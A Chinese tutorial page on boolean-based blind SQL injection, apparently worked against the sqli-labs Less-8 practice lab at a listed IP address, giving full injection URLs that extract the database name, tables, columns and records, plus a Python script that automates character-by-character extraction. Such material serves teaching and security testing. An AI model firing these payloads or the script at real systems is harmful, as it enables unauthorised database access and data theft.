当前位置: 首页 > news >正文

SQL注入之布尔盲注

SQL注入之布尔盲注

  • 一、布尔盲注介绍
  • 二、布尔盲注的特性
  • 三、布尔盲注流程
    • 3.1、确定注入点
    • 3.2、判断数据库的版本
    • 3.3、判断数据库的长度
    • 3.4、猜解当前数据库名称(本步骤需要重复)
    • 3.5、猜解数据表的数量
    • 3.6、猜解第一个数据表名称的长度
    • 3.7、猜解第一个数据表名称的字符
    • 3.8、猜解数据表中字段的数量
    • 3.9、猜解第一个数据表名中字段的长度
    • 3.10、猜解第一个数据表中字段的字符
    • 3.11、获取字段中的记录
  • 四、布尔盲注的脚本

推荐:简单了解SQL注入

一、布尔盲注介绍

盲注就是在SQL注入过程中,找到注入点,执行SQL语句后,查询到的数据或者错误信息不能回显到前端页面,此时,我们需要利用一些方法进行判断或者猜测,这个过程称为盲注。

“基于布尔判断的盲注”指的是利用SQL语句逻辑与(and)操作,判断and两边的条件是否成立,SQL语句带入数据库查询后判断返回内容(通常返回值仅有空和非空两种状态),类似布尔型的true和false的两种状态(true为非空,false为空);类似于无法开口说话的人,只能通过点头和摇头来告诉你答案正确与否。

二、布尔盲注的特性

在页面中,如果正确执行了用户构造的SQL语句,则返回一种页面,如果SQL语句执行错误,则返回另一种页面。基于两种页面,来判断SQL语句正确与否,达到获取数据的目的。

在这里插入图片描述

在这里插入图片描述

三、布尔盲注流程

3.1、确定注入点

方法一:通过增加'"、注释符,如果语句从执行失败到执行成功则说明存在注入点。

  • ?id=1
    在这里插入图片描述

  • ?id=1'
    在这里插入图片描述

  • ?id=1''
    在这里插入图片描述

说明存在注入点,且闭合类型为单引号(若闭合类型是双引号,使用单引号像上面所示进行尝试,3个页面都会显示正确)

方法二:

?id=1 and 1=1 
?id=1 and 1=2 
如果上面两句页面出现的结果不一样,说明没有闭合方式,是数字型
  • 解释:为什么不是数字型(是字符型)注入的时候,上面两句的结果会一样。
    • 隐式类型转换:
      • ?id=‘1asdf’ ===> ?id=‘1’
      • ?id=‘1’ ===> ?id=‘1’
      • ?id=‘a’ ===> ?id=‘97’
      • ?id=‘12abc’ ===>?id=‘12’
      • ?id=‘12ab3bc’ ===> ?id=‘12’
      • ?id='1 and 1=1' ===> ?id='1'
      • ?id='1 and 1=2' ===> ?id='1'
?id=1' and 1=1 #
?id=1' and 1=2 #
如果上面两句页面出现的结果不一样,说明闭合方式是单引号,是字符型

3.2、判断数据库的版本

方法:主要因为5.0版本以下没有information_schema数据库,无法进行手动注入;由于无法回显数据,利用逻辑与和数据库版本第1位数字字符做判断;

  • 会使用到left函数:返回从字符串开始位置指定数量的字符(包含空格)。
LEFT(string_expression, count)
#string_expression 表示字符串,这个参数可以是数据库表的列名,字符串,也可以是某一函数的返回结果。
#count  是整数, 表示从字符串开始位置到结束,返回的字符数量
例如:
select left('5.5.53',1) --> 5
select left('5.5.53',2) --> 5.

在这里插入图片描述

http://47.109.71.232:8080/Less-8/?id=1' and left(version(),1)=5--+
  • 页面回显正确,说明数据库版本大于5,可以进行注入。

3.3、判断数据库的长度

方法:由于无法回显数据,先使用length()判断当前数据库的长度,减小后面猜解数据库名称的工作量;

  • 使用到length函数,判断数据库的长度。
    在这里插入图片描述
http://47.109.71.232:8080/Less-8/?id=1' and length(database())>10--+

在这里插入图片描述

http://47.109.71.232:8080/Less-8/?id=1' and length(database())=8--+

3.4、猜解当前数据库名称(本步骤需要重复)

方法:利用第3步确认的数据库长度,结合ascii()substr()函数,一个一个字符猜解,利用二分法;

  • substr() 从一个内容中,按照指定条件,「截取」一个字符串。这个内容可以是数值或字符串。
substr(obj,start,length)
#obj:从哪个内容中截取,可以是数值或字符串。
#start:从哪个字符开始截取(1开始,而不是0开始)
#length:截取几个字符(空格也算一个字符)。

在这里插入图片描述

http://47.109.71.232:8080/Less-8/?id=1' and ascii(substr(database(),1,1))>110--+

在这里插入图片描述

http://47.109.71.232:8080/Less-8/?id=1' and ascii(substr(database(),1,1))=115--+

在这里插入图片描述

http://47.109.71.232:8080/Less-8/?id=1' and ascii(substr(database(),2,1))=101--+

3.5、猜解数据表的数量

方法:count()函数,利用二分法;

在这里插入图片描述

http://47.109.71.232:8080/Less-8/?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=5--+

在这里插入图片描述

http://47.109.71.232:8080/Less-8/?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=4--+

3.6、猜解第一个数据表名称的长度

方法:length函数,利用二分法;

在这里插入图片描述

http://47.109.71.232:8080/Less-8/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6--+

3.7、猜解第一个数据表名称的字符

方法:ascii函数、substr函数,一个一个字符猜解,利用二分法;

在这里插入图片描述

http://47.109.71.232:8080/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101--+

3.8、猜解数据表中字段的数量

方法:count()函数,利用二分法;
在这里插入图片描述

http://47.109.71.232:8080/Less-8/?id=1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name="emails")=2--+

3.9、猜解第一个数据表名中字段的长度

方法:length函数,利用二分法;

在这里插入图片描述

http://47.109.71.232:8080/Less-8/?id=1' and length((select column_name from information_schema.columns where table_schema=database() and table_name="emails" limit 0,1))=2 --+

3.10、猜解第一个数据表中字段的字符

方法:ascii函数、substr函数,一个一个字符猜解,利用二分法;

在这里插入图片描述

http://47.109.71.232:8080/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name="emails" limit 0,1),1,1))=105--+

3.11、获取字段中的记录

方法:ascii函数、substr函数,一个一个字符猜解,利用二分法;

在这里插入图片描述

http://47.109.71.232:8080/Less-8/?id=1' and ascii(substr((select group_concat(id) from emails),1,1))=49--+

四、布尔盲注的脚本

import requests
import stringurl = "http://47.109.71.232:8080/Less-8/?id="
# select = "select database()"
# select = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# select = "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'"
select = "select group_concat(username) from users"
result = ""
for i in range(1, 100):for ch in string.ascii_letters + string.digits + ",:}{_":payload = f"1' and substr(({select}),{i},1) = '{ch}'%23"r = requests.get(url = url + payload)if "You are in" in r.text:result += chprint(result)breakif ch == "_":print("[***] 注入完成")exit(0)

在这里插入图片描述

相关文章:

SQL注入之布尔盲注

SQL注入之布尔盲注 一、布尔盲注介绍二、布尔盲注的特性三、布尔盲注流程3.1、确定注入点3.2、判断数据库的版本3.3、判断数据库的长度3.4、猜解当前数据库名称(本步骤需要重复)3.5、猜解数据表的数量3.6、猜解第一个数据表名称的长度3.7、猜解第一个数据…...

微服务入门---SpringCloud(一)

微服务入门---SpringCloud(一) 1.认识微服务1.0.学习目标1.1.单体架构1.2.分布式架构1.3.微服务1.4.SpringCloud1.5.总结 2.服务拆分和远程调用2.1.服务拆分原则2.2.服务拆分示例2.2.1.导入Sql语句2.2.2.导入demo工程 2.3.实现远程调用案例2.3.1.案例需求…...

Rust vs Go:常用语法对比(九)

题图来自 Golang vs Rust - The Race to Better and Ultimate Programming Language 161. Multiply all the elements of a list Multiply all the elements of the list elements by a constant c 将list中的每个元素都乘以一个数 package mainimport ( "fmt")func …...

Typescript 第五章 类和接口(多态,混入,装饰器,模拟final,设计模式)

第五章 类和接口 类是组织和规划代码的方式,是封装的基本单位。 typescript类大量借用了C#的相关理论,支持可见性修饰符,属性初始化语句,多态,装饰器和接口。 不过,由于Typescript将类编译成常规的JavaScri…...

IFNULL()COALESCE()

在 MySQL 中,IFNULL() 函数是可用的,但是请注意它不能直接用于聚合函数的结果。要在聚合函数结果可能为 NULL 的情况下返回特定值,应该使用 COALESCE() 函数而不是 IFNULL() 函数。 以下是代码示例: COALESCE(SUM(pc.CONTRACT_T…...

WPF实战学习笔记23-首页添加功能

首页添加功能 实现ITodoService、IMemoService接口&#xff0c;并在构造函数中初始化。新建ObservableCollection<ToDoDto>、 ObservableCollection<MemoDto>类型的属性&#xff0c;并将其绑定到UI中修改Addtodo、Addmemo函数&#xff0c;将添加功能添加 添加添加…...

OpenCV-Python常用函数汇总

OpenCV Python OpenCV简述显示窗口waitKey()&#xff1a;等待按键输入namedWindow()&#xff1a;创建窗口destroyWindow() &#xff1a;注销指定窗口destroyAllWindows() 注销全部窗口resizeWindow() 调整窗口尺寸 图像操作imread()&#xff1a;读取图像imwrite()&#xff1a;保…...

Vue-router多级路由

目录 直接通过案例的形式来演示多级路由的用法 文件结构 Banner.vue <template><div class"col-xs-offset-2 col-xs-8"><div class"page-header"><h2>Vue Router Demo</h2></div></div> </template><…...

前端学习--vue2--2--vue指令基础

写在前面&#xff1a; 前置内容 - vue配置 文章目录 插值表达式v-html条件渲染v-show和v-ifv-ifv-if的扩展标签复用组件 v-show v-on /事件v-bind /&#xff1a;属性v-modelv-for 循环元素v-slotv-prev-cloak vue指令只的是带有v-前缀的特殊标签属性 插值表达式 插值表达式{…...

【Python机器学习】实验03 logstic回归

文章目录 简单分类模型 - 逻辑回归1.1 准备数据1.2 定义假设函数Sigmoid 函数 1.3 定义代价函数1.4 定义梯度下降算法gradient descent(梯度下降) 1.5 绘制决策边界1.6 计算准确率1.7 试试用Sklearn来解决2.1 准备数据(试试第二个例子)2.2 假设函数与前h相同2.3 代价函数与前相…...

面试-杨辉三角python递归实现,二进制转换

杨辉三角 def yang_hui(x,y):xint(x)yint(y)assert x>y,列数不应该大于行数# x 表示行&#xff0c;y表示列if y1 or yx:return 1else:return yang_hui(x-1,y-1)yang_hui(x-1,y)xinput(输入第几行) yinput(输入第几列) resultyang_hui(int(x),int(y)) print(result) #inclu…...

SPEC CPU 2017 x86_64 Ubuntu 22.04 LTS LLVM 16.0.6 编译 intrate intspeed

源码编译llvm 下载源码 yeqiangyeqiang-MS-7B23:~/Downloads/src$ git clone --depth1 -b 7cbf1a2 https://github.com/llvm/llvm-project 正克隆到 llvm-project... warning: 不能发现要克隆的远程分支 7cbf1a2。 fatal: 远程分支 7cbf1a2 在上游 origin 未发现 yeqiangyeqi…...

java备忘录模式

在Java中&#xff0c;备忘录模式&#xff08;Memento Design Pattern&#xff09;用于捕获一个对象的内部状态并在该对象之外保存这个状态。备忘录模式允许在后续需要时将对象恢复到之前保存的状态&#xff0c;而不会暴露其内部结构。 备忘录模式包含以下主要角色&#xff1a;…...

iOS--runtime

什么是Runtime runtime是由C和C、汇编实现的一套API&#xff0c;为OC语言加入了面向对象、运行时的功能运行时&#xff08;runtime&#xff09;将数据类型的确定由编译时推迟到了运行时平时编写的OC代码&#xff0c;在程序运行过程中&#xff0c;最终会转换成runtime的C语言代…...

06. 管理Docker容器数据

目录 1、前言 2、Docker实现数据管理的方式 2.1、数据卷&#xff08;Data Volumes&#xff09; 2.2、数据卷容器&#xff08;Data Volume Containers&#xff09; 3、简单示例 3.1、数据卷示例 3.2、数据卷容器示例 1、前言 在生产环境中使用 Docker&#xff0c;一方面…...

计算机视觉常用数据集介绍

1 MINIST MINIST 数据集应该算是CV里面最早流行的数据了&#xff0c;相当于CV领域的Hello World。该数据包含70000张手写数字图像&#xff0c;其中60000张用于train&#xff0c; 10000张用于test&#xff0c; 并且都有相应的label。图像的尺寸比较小&#xff0c; 为28x28。 数…...

Arcgis画等高线

目录 数据准备绘制等高线3D等高线今天我们将学习如何在ArcGIS中绘制等高线地图。等高线地图是地理信息系统中常见的数据表现形式,它通过等高线将地形起伏展现得一目了然,不仅美观,还能提供重要的地形信息。 数据准备 在开始之前,确保已经准备好了高程数据,它通常以栅格数…...

abp vnext4.3版本托管到iis同时支持http和https协议

在项目上本来一直使用的是http协议,后来因为安全和一些其他原因需要上https协议&#xff0c;如果发布项目之后想同时兼容http和https协议需要更改一下配置信息&#xff0c;下面一起看一下&#xff1a; 1.安装服务器证书 首先你需要先申请一张服务器证书&#xff0c;申请后将证…...

2023年全网电视盒子无线ADB修改桌面(无需ROOT)

前言 1.主要是为了解决电视盒子等安卓设备无法卸载或者停用原始桌面导致无法选用第三方桌面。 解决方案 1.首先自行下载我提供的网盘APK 2.点击打开中国移动云盘 3.不管你是通过U盘还是局域网共享能够让你的电视安装第三方应用&#xff0c;毕竟每个品牌的安装方法不尽相同…...

什么是Java中的Maven?

Java中的Maven&#xff0c;可以简单理解为“一个神奇的工具”&#xff0c;它可以自动帮你管理Java项目的依赖关系&#xff0c;让你不再为手动下载、配置各种库而烦恼。想象一下&#xff0c;你正在写一个Java项目&#xff0c;突然发现需要引入一个名为"第三方库"的模块…...

SEO关键词推广与视频内容创作有什么关系

SEO关键词推广与视频内容创作&#xff1a;一场紧密交织的战斗 在当今的数字化时代&#xff0c;SEO&#xff08;搜索引擎优化&#xff09;和视频内容创作已经成为每个企业和个人在网络世界中取得成功的重要途径。SEO关键词推广与视频内容创作究竟有什么关系呢&#xff1f;本文将…...

OpenClaw技能开发入门:为Qwen3-14b_int4_awq扩展自定义功能

OpenClaw技能开发入门&#xff1a;为Qwen3-14b_int4_awq扩展自定义功能 1. 为什么需要自定义技能&#xff1f; 去年冬天&#xff0c;我花了整整两周时间手动整理公司项目的技术文档。每天重复着复制、粘贴、格式调整的机械操作&#xff0c;直到偶然发现OpenClaw这个开源自动化…...

缺失值处理失效、类型推断崩塌、内存暴增…Polars 2.0清洗故障全解析,深度解读Arrow底层Schema约束机制

第一章&#xff1a;Polars 2.0数据清洗的核心挑战与演进脉络随着数据规模持续膨胀与实时分析需求激增&#xff0c;传统基于 Pandas 的数据清洗范式在内存效率、并行粒度和类型安全方面日益显露瓶颈。Polars 2.0 的发布并非简单功能叠加&#xff0c;而是以 Arrow-native 执行引擎…...

广州邮科如何为你的系统选择合适的在线式充电机?

设备运行最怕断电。在线式充电机&#xff0c;就是那个能让设备“永不断电”的充电神器。今天咱们用大白话&#xff0c;把它讲清楚。它到底是什么&#xff1f;简单说&#xff0c;就是能一边给设备供电&#xff0c;一边给电池充电的智能设备。设备不用停机&#xff0c;电池也能充…...

阿里云RDSClaw:给OpenClaw装上超级记忆和超级大脑,会怎样?

RDSClaw 喊你领取免费试用了&#xff01;点击下方训练营&#xff0c;可领取免费试用&#xff0c;跟随训练营中的课程可轻松部署你的专属小龙虾&#xff01; 训练营报名链接&#xff1a;养虾训练营- RDSClaw_阿里云培训中心-阿里云 参营福利&#xff1a;完成RDSClaw实操部署&a…...

Qwen2.5-14B-Instruct深度微调实录:像素剧本圣殿开源剧本创作指南

Qwen2.5-14B-Instruct深度微调实录&#xff1a;像素剧本圣殿开源剧本创作指南 1. 项目概览 像素剧本圣殿&#xff08;Pixel Script Temple&#xff09;是一款基于Qwen2.5-14B-Instruct大模型深度微调的专业剧本创作工具。这个开源项目将前沿AI技术与复古像素美学相结合&#…...

OrangepiZERO3驱动USB摄像头的记录

关于orangepiZERO3的官方文档&#xff1a; http://www.orangepi.cn/orangepiwiki/index.php/Orange_Pi_Zero_3 按照里面有关的步骤进行操作&#xff0c;但是可能会有一点小问题&#xff0c;特此记录一下 第一步和第二步一致&#xff0c;不多说。 第三步&#xff1a; 我的命令…...

Qwen2.5-14B-Instruct开源大模型应用:像素剧本圣殿实现剧本动作/对白/旁白自动分段

Qwen2.5-14B-Instruct开源大模型应用&#xff1a;像素剧本圣殿实现剧本动作/对白/旁白自动分段 1. 项目概述 像素剧本圣殿&#xff08;Pixel Script Temple&#xff09;是一款基于Qwen2.5-14B-Instruct深度微调的专业剧本创作工具。它将先进的AI推理能力与独特的8-Bit复古美学…...

C/C++ 调用约定与 Windows GDI 位图操作实用解析

stdcall调用约定   stdcall很多时候被称为pascal调用约定&#xff0c;因为pascal是早期很常见的一种教学用计算机程序设计语言&#xff0c;其语法严谨&#xff0c;使用的函数调用约定就是stdcall。在Microsoft C系列的C/C编译器中&#xff0c;常常用PASCAL宏来声明这个调用约…...

PyTorch实战:用门控卷积(GConv)和转置门控卷积(TrGConv)搞定音频降噪(附完整代码)

PyTorch实战&#xff1a;用门控卷积&#xff08;GConv&#xff09;和转置门控卷积&#xff08;TrGConv&#xff09;构建高效音频降噪模型 音频降噪一直是信号处理领域的核心挑战之一。想象一下&#xff0c;你正在录制一段重要的语音备忘录&#xff0c;背景中却充斥着风扇的嗡嗡…...